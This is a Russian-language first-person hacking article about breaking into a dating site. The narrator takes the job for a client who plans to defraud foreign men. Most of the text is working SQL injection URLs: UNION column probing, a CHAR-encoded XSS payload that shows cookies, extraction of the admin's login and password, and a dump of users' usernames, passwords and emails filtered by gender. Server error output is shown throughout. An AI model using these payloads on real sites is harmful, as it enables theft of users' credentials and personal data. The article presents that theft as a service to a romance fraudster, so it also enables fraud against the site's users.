Можно с вами познакомиться: ломаем сайт знакомств
Проклятый парниковый эффект отбивал всякое желание работать. Хотелось холодного пива и даже без потных женщин. Засигналила ася, стукнулся чел, попросил посмотреть один датинг, очень ему хотелось познакомиться с очаровательными мужчинами из далекой теплой страны, да развести их на некоторое количество вечно-зеленых монгольских тугриков.
Скинул ссылку. Подавив в себе слабый голос долга, пытавшийся докричаться до моего сознания и грозившего мне интимным приключением в кабинете шефа в понедельник, если я не закончу сегодня хотя бы черновой вариант бизнес-плана, я пошел смотреть сайт. Датинг оказался практически весь на html, что не предвещало ничего хорошего. Только форма регистрации, поиск и форум были на php. Естественно, я начал с форума. Первая кавычка, поставленная после параметра:
http:- /www.zlo.com/forum.php?forum=7'
ничего не дала, зато вторая:
http:- /www.zlo.com/forum.php?forum=7&topic=11'
весело ругнулась:
[logging::load] Internal Error: Load query failed, SQL=INSERT DELAYED INTO tbllogging(sessionID, cookieID, HTTP_REFERER, ipaddress, page, pagetime) values ('acb875ecdf07ac00c1af0c1676a0fb65', '11807131315', '','мой ip', '/forum.php?forum=7&topic=11'', now())
Зато запрос:
http:- /www.zlo.com/forum.php?forum=7&topic=11+and+1=1/*
был бодро скушан сервером и выплюнул мне страницу с постами юзеров. Было понятно, что форум инжектиться. Естественно, что мне было уже не до бизнес-плана, вручную я стал подбирать количество строк, при каждом неверном запросе я получал щедрый ответ MySQL:
WordPress database error: [The used SELECT statements have a different number of columns]
SELECT * FROM sftopics WHERE topic_id=-11 union select 1/*
На седьмой строке ответ вообще порадовал своей полнотой:
WordPress database error: [The used SELECT statements have a different number of columns]
SELECT post_id, post_content, post_date, user_id, guest_name, guest_email, post_status, username, email, mainImage FROM sfposts LEFT JOIN tbluser ON sfposts.user_id = tbluser.id WHERE topic_id = -11 union select 1,2,3,4,5,6,7/* ORDER BY post_id DESC
а в таблице форума появилась цифра 2.
Пробую вывести имя юзера базы:
http:- /www.zlo.com/forum.php?forum=7&topic=-11+union+select+1,user(),3,4,5,6,7/*
и посылаюсь недалеко:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'
http:- /www.zlo.com/forum.php?forum=7&topic=-11+union+select+1,user(),3,4,5,6,7/*
Первое, что пробую - перевести user() в char. Отправляю и вижу в таблице user(), нет, не имя базы, а именно user(). О, это же XSS. Перевожу в char <script>alert(document.cookie);</script>, посылаю запрос:
http:- /www.zlo.com/forum.php?forum=7&topic=-11+union+select+1,CHAR(60,115,99,114,105,112,116, 62,97,108,101,114,116,40,100,111, 99,117,109,101,110,116, 46,99,111,111,107,105,101, 41,59,60,47,115,99, 114,105, 112,116,62),3,4,5,6,7/*
и вижу свои куки. Оставляю XXS на потом, пытаюсь дальше разобраться с инъекцией.
Поискав информацию по форумам и проконсультировавшись со знатоками SQL-дела, решаю, что можно попробовать AES_DECRYPT()/AES_ENCRYPT() и получаю имя юзера. Пробую вывести какую-либо информацию из таблицы sfposts, название которой мне любезно предоставил сервер. Но, кроме идентификатора юзера user_id, больше ничего не захотело выводиться. Тогда я решил проверить другие таблицы, и первый же запрос вернул сообщение, что таблица admin существует.
Немного помудрив с именами колонок, я получил логин и пароль админа:
http:- /www.zlo.com/forum.php?forum=7&topic=-11+ union+select+1,CONCAT(%20user,%20CHAR(32,58,32), %20pass),3,4,5,6,7+FROM+admin/*
Я уже прикидывал, что сейчас зайду под админом, покажу челу доступ, заберу гонорар и вернусь к проекту бизнес-плана, но тут меня ждал облом. Доступ к http://www.zlo.com/admin/ был закрыт .htpasswd, с меня потребовали логин и пароль. Я ввел только что полученные из базы реквизиты админа и... был послан. Попробовал пошаманить с именем базы и паролем, но ничего не помогло. А праздник был так близко...
Тогда я решил попробовать вывести .htaccess через LOAD_FILE, но и тут меня ждал облом. Вывод файлов был отключен. Оставалось последнее - выводить информацию о юзерах через limit, но тут меня ждал нешуточный гемморой, я часа два перебирал всевозможные имена таблицы юзеров, и ни одно не подошло. Возникла мысль поискать эту версию форума в инете, скачать исходники и глянуть, как называется таблица юзеров. Но и здесь меня уже ждала птица обломинго. Такого форума не знал даже товарищ google.
Хотелось плакать и холодного пива. Опять загнусавил голос долга, пугая страшными муками в ближайщем будущем. От досады я решил пойти и зарегаться на сайте, может, так мне удастся узнать имя таблицы юзеров. И тут я увидел поиск. Вбив в него кавычку, я получил ответ, наполнивший радостью мое сердце:
[search::load] Internal Error: Load query failed, SQL=SELECT DISTINCT tbluser.userName, left(tbluser.description, 150) as description, tbluser.lastDate, tbluser.mainImage, lstcountry.type as country, lststate.state as state, tbluser.suburb, tbluser.age, lstgender.type as gender, if(propuser.userName LIKE '%'%',1,0) as keysort, IF (tbluser.lastActive > tbluser.lastDate, DATE_FORMAT( FROM_DAYS( 365 + TO_DAYS( NOW( ) ) - TO_DAYS( DATE_FORMAT( lastActive, '%Y-%m-%d' ) ) ) , '%Y-%m-%d' ) , DATE_FORMAT( FROM_DAYS( 365 + TO_DAYS( NOW( ) ) - TO_DAYS( DATE_FORMAT( lastDate, '%Y-%m-%d' ) ) ) , '%Y-%m-%d' )) AS active FROM tbluser LEFT JOIN lstcountry ON tbluser.country=lstcountry.id LEFT JOIN lststate ON tbluser.state=lststate.id LEFT JOIN lstgender ON tbluser.gender=lstgender.id LEFT JOIN propuser ON tbluser.userName = propuser.userName WHERE (soundex(tbluser.userName) = soundex(''') OR propuser.userName LIKE ''%') AND propuser.emailVerified = 1 AND propuser.accountChecked = 1 AND propuser.accoutSuspended <> 1 AND propuser.securitysuspend <> 1 AND (propuser.bounce IS NULL OR propuser.bounce <>1) AND propuser.deleted <> 1 ORDER BY keysort desc, 'active' asc, 'CreateDate' DESC
Проклятая таблица с юзерами носила название tbluser!!!
И вот уже через минуту я перебирал логины/пароли/мыла юзеров:
http:- /www.zlo.com/forum.php?forum=7&topic=-11+union+select+1, CONCAT(username,%20CHAR(32,58,32),passwd,%20CHAR(32,58,32),%20email),3,4,5,6,7+ from+tbluser+limit+0,1/*
Стукнул заказчику, показал запрос вывода, но его интересовали только данные мужиков. Надо было как-то отфильтровать их по половому признаку, не заходить же к каждому в его профиль. И тут мне вновь помогло сообщение об ошибке из поиска, там фигурировало название колонки type as gender. С ней тоже пришлось немного повозиться, но в итоге мне удалось вывести значение из нее:
http:- /www.zlo.com/forum.php?forum=7&topic=-11+union+select+1, CONCAT(username,%20CHAR(32,58,32),passwd, %20CHAR(32,58,32),email,%20 CHAR(32,58,32)gender),3,4,5,6,7+from+tbluser+limit+0,1/*
Значение было числовым - 1 или 2. Зайдя по имеющимся у меня реквизитам доступа на личные профили пользователей, я быстро выяснил, что 1 - это у нас М, а 2 - как говаривал один персонаж в "Бриллиантовой руке", Жэ.
Объяснив все это заказчику, я собрался и пошел домой, где сел и написал эту статью. А завтра понедельник, и мне надо будет представить проект бизнес-плана на четвертый квартал. Но я его так и не сделал, и значит, меня ждет головомойка у шефа. Но это будет только завтра.